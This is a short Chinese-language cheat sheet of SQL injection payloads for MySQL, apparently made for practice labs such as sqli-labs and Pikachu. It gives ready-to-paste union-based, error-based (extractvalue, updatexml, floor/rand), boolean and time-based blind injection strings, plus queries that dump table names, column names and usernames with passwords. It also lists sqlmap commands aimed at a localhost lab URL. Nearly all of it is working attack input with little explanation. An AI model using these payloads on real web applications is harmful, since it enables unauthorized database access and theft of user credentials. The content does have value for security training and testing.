Sql常用payload

爆字段

order by 5

联合查询

?id=-1' and 1=2 union select 1,version(),3 --+

报错

# 这条报错注入是有概率的,多试几次
?id=-1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) --+
  
?id=-1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
      
?id=-1' and extractvalue(1,concat('^',(select version()),'^')) --+
  
?id=-1' and updatexml(1,concat('^',(select database()),'^'),1) --+

布尔

?id=1' and left(database(),1)>'r'--+

?id=1' and left(database(),1)>'s'--+
?id=1' and left(database(),1)='s'--+

延时

s ASCII 码为 115

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Mysql的常用函数和数据库表

# 当前用户和数据库
select user(),database()

# 当前数据库下的所有表
select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

# uses表的字段
select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

# 爆值
select database(),group_concat('~',username,'~',password) from pikachu.users

sqlmap

# 联合查询
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

其他

使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符

select 1;set sql_mode=PIPES_AS_CONCAT;select 1